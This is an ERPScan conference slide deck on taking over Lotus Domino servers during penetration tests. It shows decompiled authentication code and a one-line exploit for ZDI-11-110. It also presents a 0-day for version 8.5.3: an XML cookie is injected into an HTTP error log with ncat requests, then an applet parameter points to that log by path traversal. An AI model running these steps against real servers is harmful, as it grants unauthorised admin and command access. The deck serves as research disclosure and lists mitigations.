  • 5. Find  vulns.   •  Sta'c   –  Source  code  review   •  regexp   •  formal  methods   •  hand  tes'ng   –  Reverse  Engineering   •  formal  methods   •  hands…   •  Dynamic   –  Fuzzing  (bin/web)    +    Typical  bugs  for  class      +    Reverse  Engineering   –  Hand  tes'ng   •  Architecture  Analysis  (Logic  flaws)   •  Use  vuln.  Database  (CVE/exploit-­‐db/etc)   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   5  
  • 6. Pen-­‐tester  env.   Tasks:   •  pwn  target  8)   •  show  most  dang.  vulns.   è  show  real  aQacks  and  what  an  aQacker  can  do   Time:    Not  much  )   Targets:    Large  number  of  targets,  different  types     erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   6  
  • 7. Find  vulns.   •  Sta'c   –  Source  code  review   •  regexp   •  formal  methods   •  BlackBox   •  hand  tes'ng   –  Reverse  Engineering   •  formal  methods   •  Not  much  'me   •  hands…   •  Dynamic   –  Fuzzing  (bin/web)    +    Typical  bugs  for  class      +    Reverse  Engineering   –  Hand  tes'ng   •  Architecture  Analysis  (Logic  flaws)   •  Use  vuln.  Database  (CVE/exploit-­‐db/etc)   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   7  
  • 8. Bug  hun0ng?       erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   8  
  • 9. Pen-­‐tester/Sec.  researcher     –  New  aQacks  and  methods   Provider   –  0-­‐day  bug  hun'ng   –  Something  new…   –   Exploit  development   –   Exploita'on   Consumer     erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   9  
  • 10. Exploit’s  life       Finding  bug   Crea'ng  PoC   Crea'ng  exploit   Selling   Exploi'ng   Crea'ng  report   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   10  
  • 11. In  real       Exploi'ng?  No!   Crea'ng  report   Finding  bug   Crea'ng  PoC   Crea'ng  exploit   Selling   Exploi'ng?  Yep!   Crash…   Crea'ng  report?   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   11  
  • 12. Target…       erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   12  
  • 13. Let’s  see  some  real  stuff   First  pen-­‐test          -­‐      Lotus  Domino  8.5.2FP2   Second  pen-­‐test    -­‐  Lotus  Domino  8.5.3    (the  latest)     Pen-­‐tester’s  ac'ons   How  to:   Nmap  –sV  -­‐PN  -­‐T5  -­‐p  …  0  192.168.0.13   .  .  .   •  Scan  and  grab  banners   Nmap  scan  report  for  targethost  (192.168.0.13)   •  Detect  version   PORT          STATE  SERVICE                      VERSION   110/tcp      open    pop3                    Lotus  Domino  POP3  server  8.5.2   1352/tcp    open    lotusnotes                Lotus  Domino  server  (CN=SERV;Org=Company)   1533/tcp    open    hNp                    Lotus  Domino  hNpd   2050/tcp  open    ssl/dominoconsole  Lotus  Domino  Console  (domain:  domain;  d   escrip?on:  “COMPANY")   49152/tcp    open    hNp                    MicrosoS  HTTP  API  2.0   MAC  Address:  00:1A:1B:8A:1F:1E  (HewleN  Packard)   Service  Info:  OS:  Windows/Longhorn/64  6.1     erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   13  
  • 14. Lotus  Domino  8.5.2FP2   Useless   •  CVE-­‐2011-­‐0914   •  CVE-­‐2011-­‐0915   Useless,   Pen-­‐tester’s  ac'ons   •  CVE-­‐2011-­‐0916   (client-­‐ side)   •  CVE-­‐2011-­‐0917   Useless,   •  Search  for  an  exploit   •  CVE-­‐2011-­‐0919   Fixed  in   8.5.2…   •  CVE-­‐2011-­‐0920   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   14  
  • 15. Lotus  Domino  8.5.2FP2   •  Private   •  CVE-­‐2011-­‐0914   •  DoS  risk   •  CVE-­‐2011-­‐0915   •  Private   Pen-­‐tester’s  ac'ons   •  CVE-­‐2011-­‐0916   •  DoS  risk   •  CVE-­‐2011-­‐0917   •  None   •  …  more  search   •  CVE-­‐2011-­‐0919   •  DoS  risk   •  CVE-­‐2011-­‐0920   •  PoC     •  DoS  risk   Lotus…  blah-­‐blah-­‐blah,   Auth.  issue  (CWE-­‐287)   •  None   has  many  vuln.  issues.   •  DoS  risk   Not  public  or  stable,   exploit  are  available  …   Buffer  Errors  (CWE-­‐119)   blah-­‐blah-­‐blah,  please   •  Private   update  to  8.5.2FP3  or   8.5.3   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   15  
  • 16. No  fun…   •  No  fun…   •  Lotus  server  s'll  not  pwned  (just  in  theory)   •  If  we  could    pwn  it,  then  maybe  we  would  get  MORE   -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐  BUT  -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐   •  We  have  no  'me  for  research  and  exploit  dev.  for  those   bugs  (CWE-­‐119)   •  It  is  risky   •  It  is  pen-­‐test  and  we  have  other  targets…   -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐  SO  -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐   Pen-­‐tester  is  not  a  researcher?  Forget  about  it?     erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   16  
  • 17. What  do  pen-­‐testers  do?   •  Scanning   •  Fingerprin'ng   •  Banner  grabbing   •  Play  with  passwords   We  can’t  do     that  right  now   •  Find  vulns.   Analysis:  'me  for  research     and  exploit  dev.,  resources,     •  Exploit  vulns.   risks,  necessity       •  Escalate  privs.   Research   •  Dig  in   Exploit  dev.   •  Find  ways  to  make  aQacks   •  And  e.t.c.   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   17  
  • 18. Lotus  Domino  8.5.2FP2   •  Time…   •  CVE-­‐2011-­‐0914   •  DoS  risk   •  CVE-­‐2011-­‐0915   •  Time   Pen-­‐tester’s  ac'ons   •  CVE-­‐2011-­‐0916   •  DoS  risk   •  CVE-­‐2011-­‐0917   •  Let’s  do  some   •  Time   •  Fast  analyses…   research…   •  CVE-­‐2011-­‐0919   •  DoS  risk   •  CVE-­‐2011-­‐0920   •  Time     •  DoS  risk   •  Time   •  DoS  risk   •  ???   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   18  
  • 19. ZDI-­‐11-­‐110       erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   19  
  • 20. What  is  the  protocol?   •  Googling  failed   •  But…  Patrik’s  NSE  scripts  can  help:   socket:reconnect_ssl()   …   socket:send("#APIn")     socket:send(  ("#UI  %s,%sn"):format(user,pass)  )     socket:receive_lines(1)     socket:send("#EXITn")   …   è   SSL    #UI  login,passn   -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐     •  But  what  about  COOKIE?     Service  code  is  in  dconsole.jar,  so  we  can  decompile  it  and  get  protocol   descrip'ons…       erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   20  
  • 21. Domino  Controller   //  s1  -­‐  input  from  2050/tcp   if(s1.equals("#EXIT"))                                              return  2;                  .  .  .                        if(s1.equals("#APPLET"))                          return  6;                  .  .  .                  if(s1.equals("#COOKIEFILE"))                  if(stringtokenizer.hasMoreTokens())            //  Fromat:  #COOKIEFILE  cookieFilename                          cookieFilename  =  stringtokenizer.nextToken().trim();                    return  7;                  .  .  .                  if(s1.equals("#UI"))                  if(stringtokenizer.hasMoreTokens())            //  Format:  #UI  usr,pwd                          usr  =  stringtokenizer.nextToken(",").trim();                  if(usr  ==  null)                          return  4;                  if(stringtokenizer.hasMoreTokens())            //pwd  -­‐  password  from  input                          pwd  =  stringtokenizer.nextToken().trim();                  return  0;   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   21  
  • 22. Domino  Controller      do                                        {            //main  loop            int  i  =  ReadFromUser();                            .  .  .                            if(i  ==  6)  //if  #APPLET                          {                                  appletConnec0on  =  true;                                  con'nue;                          }                            .  .  .                    //  CUT  -­‐  search  usr  in  admindata.xml                          .  .  .                            if(userinfo  ==  null)                        {                                //  If  username    was  not  found                                    WriteToUser("NOT_REG_ADMIN");                                    con'nue;                        }     erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   22  
  • 23. Domino  Controller        .  .  .     if(!appletConnec0on)      flag  =  vrfyPwd.verifyUserPassword(pwd,  userinfo.userPWD())   else              flag  =  verifyAppletUserCookie(usr,  pwd);  //If  #APPLET   }                                           if(flag)          WriteToUser("VALID_USER");                                                  else          WriteToUser("WRONG_PASSWORD");   }  while(true);  //Main  loop  end                    if(flag)                    {                  //Auth  done…   .  .  .     erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   23  
  • 24. verifyAppletUserCookie()                                           UNC  path   here…         File  file  =  new  File(cookieFilename);      .  .  .        inputstreamreader  =  new  InputStreamReader(new                                                          FileInputStream(file),  "UTF8");                      .  .  .                    inputstreamreader.read(ac,  0,  i);                    .  .  .    String  s7  =  new  String(ac);      .  .  .       erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   24  
  • 25. verifyAppletUserCookie()    do  {                            if((j  =  s7.indexOf("<user  ",  j))  <=  0)                          break;                                int  k  =  s7.indexOf(">",  j);                                            if(k  ==  -­‐1)                                                    break;     String  s2  =  getStringToken(s7,  "user="",  """,  j,  k);                          .  .  .   String  s3  =  getStringToken(s7,  "cookie="",  """,  j,  k);                          .  .  .   b00m!   String  s4  =  getStringToken(s7,  "address="",  """,  j,  k);    .  .  .    if(usr.equalsIgnoreCase(s2)  &&  pwd.equalsIgnoreCase(s3)  &&          appletUserAddress.equalsIgnoreCase(s4))    {            flag  =  true;            break;    }      .  .  .            }  while(true);    .  .  .   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   25  
  • 26. Exploit  for  ZDI-­‐11-­‐110   –  echo  ^  <user  name=“admin"  cookie=“dsecrg"  address=“10.10.0.1"^>  >  n: domino2zdi0day_.txt     erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   26  
  • 27. Mi0ga0ons…   •   Privileges  for  system  console   –  If  ‘admin’  has  enough  privileges,  he  can  call  OS   commands  as  ‘$whoami’   •   Service  password  for  dangerous  func'ons   –   If  service  password  is  not  set,  then  ‘admin’  can  call   dangerous  func'ons  such  as  ‘LOAD  cmd.exe  /c  net   use  …’   One  doesn't  exclude  another!   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   27  
  • 28. Pen-­‐tester  vs.  mi0ga0ons…   •  If  there  is  a  Microso~  AD  network   •  If    Kerberos  is  not  used   •  If  Lotus  Domino  runs  as  “win_domain/$LotusAcc”   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   28  
  • 29. Lotus  Domino  8.5.3/8.5.2FP3    Fix  №1   evilhostexploitcookie.xml  -­‐-­‐>   .evilhostexploitcookie.xml   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   29  
  • 30. Lotus  Domino  8.5.3/8.5.2FP3    Fix  №2   We  need  client’s  cert.  for   auth…   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   30  
  • 31. Let’s  see  some  real  stuff   First  pen-­‐test          -­‐      Lotus  Domino  8.5.2FP2   Second  pen-­‐test    -­‐  Lotus  Domino  8.5.3    (the  latest)     Pen-­‐tester’s  ac'ons   How  to:   Nmap  –sV  -­‐PN  -­‐T5  -­‐p  …  0  192.168.0.13   •  Scan  and  grab  banners   .  .  .   •  OR…  ersion   •  Green  line  in  report?   •  Detect  v Nmap  scan  report  for  targethost  (192.168.0.13)   PORT          STATE  SERVICE                      VERSION   110/tcp      open    pop3                    Lotus  Domino  POP3  server  8.5.3   1352/tcp    open    lotusnotes                Lotus  Domino  server  (CN=SERV;Org=Company)   1533/tcp    open    hNp                    Lotus  Domino  hNpd   2050/tcp  open    ssl/unknown     49152/tcp    open    hNp                    MicrosoS  HTTP  API  2.0   MAC  Address:  00:1A:1B:8A:1F:1E  (HewleN  Packard)   Service  Info:  OS:  Windows/Longhorn/64  6.1     erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   31  
  • 32. And  again…  verifyAppletUserCookie()    do  {                            if((j  =  s7.indexOf("<user  ",  j))  <=  0)                          break;     …                              int  k  =  s7.indexOf(">",  j);                                            if(k  ==  -­‐1)   s7.substring()                                                    break;     …   String  s2  =  getStringToken(s7,  "user="",  """,  j,  k);                          .  .  .   String  s3  =  getStringToken(s7,  "cookie="",  """,  j,  k);                          .  .  .   HandMade  XML   String  s4  =  getStringToken(s7,  "address="",  """,  j,  k);   “parser”…  on  Java…    .  .  .    if(usr.equalsIgnoreCase(s2)  &&  pwd.equalsIgnoreCase(s3)  &&          appletUserAddress.equalsIgnoreCase(s4))    {            flag  =  true;            break;    }      .  .  .            }  while(true);    .  .  .   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   32  
  • 33. XML?       cookie.xml:   <?xml  version="1.0"  encoding="UTF-­‐8"?>   <user  name=“admin"  cookie=“dsecrg"  address=“10.10.0.1">   Valid   cookie2.xml.trash:   There  is  a  good  <user  xml  file!   andname=“admin”willbefound   as  cookie=“dsecrg”  andaddress=“10.10.0.1”hooray!   >and  blah-­‐blah-­‐blah   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   33  
  • 34. XML?       cookie.xml:   <?xml  version="1.0"  encoding="UTF-­‐8"?>   <user  name=“admin"  cookie=“dsecrg"  address=“10.10.0.1">   Valid   cookie2.xml.trash:   There  is  a  good  <user  xml  file!   andname=“admin”willbefound   as  cookie=“dsecrg”  andaddress=“10.10.0.1”hooray!   >and  blah-­‐blah-­‐blah   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   34  
  • 35. XML?       cookie.xml:   <?xml  version="1.0"  encoding="UTF-­‐8"?>   <user  name=“admin"  cookie=“dsecrg"  address=“10.10.0.1">   Valid   cookie2.xml.trash:   There  is  a  good  <user  xml  file!   andname=“admin”willbefound   Valid   as  cookie=“dsecrg”  andaddress=“10.10.0.1”hooray!   >and  blah-­‐blah-­‐blah   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   35  
  • 36. XML  cookie  Injec0on         Nmap  –sV  -­‐PN  -­‐T5  -­‐p  …  0  192.168.0.13   .  .  .   Nmap  scan  report  for  targethost  (192.168.0.13)   PORT          STATE  SERVICE                      VERSION   110/tcp      open    pop3                    Lotus  Domino  POP3  server  8.5.3   1352/tcp    open    lotusnotes                Lotus  Domino  server  (CN=SERV;Org=Company)   1533/tcp    open    hNp                    Lotus  Domino  hNpd   2050/tcp  open    ssl/unknown     49152/tcp    open    hPp                    MicrosoQ  HTTP  API  2.0   MAC  Address:  00:1A:1B:8A:1F:1E  (HewleN  Packard)   Service  Info:  OS:  Windows/Longhorn/64  6.1   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   36  
  • 37. XML  cookie  Injec0on       ncat  targethost  49152   GET  /<user  name="admin"cookie="pass"address="111">  HTTP/1.0rnrn   c:windowssystem32logfileshzperrhzperr1.log:   #Software:  Microsoft  HTTP  API  2.0   #Version:  1.0   #Date:  2011-­‐08-­‐22  09:19:16   #Fields:  date  time  c-­‐ip  c-­‐port  s-­‐ip  s-­‐port  cs-­‐version  cs-­‐method  cs-­‐uri  sc-­‐status     s-­‐siteid  s-­‐reason  s-­‐queuename   2011-­‐08-­‐22  09:19:16  10.10.10.101  46130  10.10.9.9    47001  -­‐  -­‐  -­‐  400  -­‐  BadRequest  -­‐   2011-­‐08-­‐22  09:19:16  10.10.10.101  46234  10.10.9.9    47001  HTTP/1.0     GET  /<user%20name="admin"cookie="pass"address="111">  404  -­‐  NotFound  -­‐   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   37  
  • 38. XML  cookie  Injec0on   ncat  targethost  49152   GET  /<user  HTTP/1.0     ncat  targethost  49152   GET  /name="admin"cookie="pass"address="111"  HTTP/1.0     c:windowssystem32logfileshzperrhzperr1.log:   #Software:  Microsoft  HTTP  API  2.0   #Version:  1.0   #Date:  2011-­‐08-­‐22  09:19:16   #Fields:  date  time  c-­‐ip  c-­‐port  s-­‐ip  s-­‐port  cs-­‐version  cs-­‐method  cs-­‐uri  sc-­‐status     s-­‐siteid  s-­‐reason  s-­‐queuename   2011-­‐08-­‐22  09:19:16  10.10.10.101  46130  10.10.9.9    47001  -­‐  -­‐  -­‐  400  -­‐  BadRequest  -­‐   2011-­‐08-­‐22  09:19:16  10.10.10.101  46234  10.10.9.9    47001  HTTP/1.0     GET  /<user  404  -­‐  NotFound  -­‐   2011-­‐08-­‐22  09:19:16  10.10.10.101  46234  10.10.9.9  GET  /name="admin"cookie="pass“   address="111">  404  -­‐  NotFound  -­‐   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   38  
  • 39. What  about  client’s  cert?   dconsole.jar       erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   39  
  • 40. 0-­‐day  exploit  (tested  on  8.5.3)   <applet  name  =  "DominoConsole"   code  =  "lotus.domino.console.DominoConsoleApplet.class"   codebase  =  "hQp://127.0.0.1/domjava/"   archive  =  "dconsole.jar"   width  =  "100%"   height  =  "99%“>     <PARAM  NAME="debug"  VALUE="true">   <PARAM  NAME="port"  VALUE="2050">   <PARAM  NAME="useraddress"  VALUE="hQp://twiQer/asintsov">   <PARAM  NAME="username"  VALUE="admin">   <PARAM  NAME="cookiefile"  VALUE="......windowssystem32logfileshQperrhQperr1.log">   <PARAM  NAME="cookievalue"  VALUE="pass">   <PARAM  NAME="onLoad"  VALUE="onLoadConsole">   </applet>   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   40  
  • 41. DEMO         erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   41  
  • 42. Internet/CyberWar/APT/Booo!       erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   42  
  • 43. Conclusions   •  Pen-­‐tester  will  get  more  profit  if  he  tries  to   research  something    //  thx  Cap!   •  Good  pen-­‐tester  ∩    good  security  researcher           •  We  got  0-­‐day  8)     To  admins:   •  Set  filter  on  2050/tcp   •  Use  both  mi'ga'ons   –  Less  privileges  for  console  user   –  Set  service  password  on  console     erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   43  
  • 44. Thank  you!               a.sintsov@erpscan.com       @asintsov               erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   44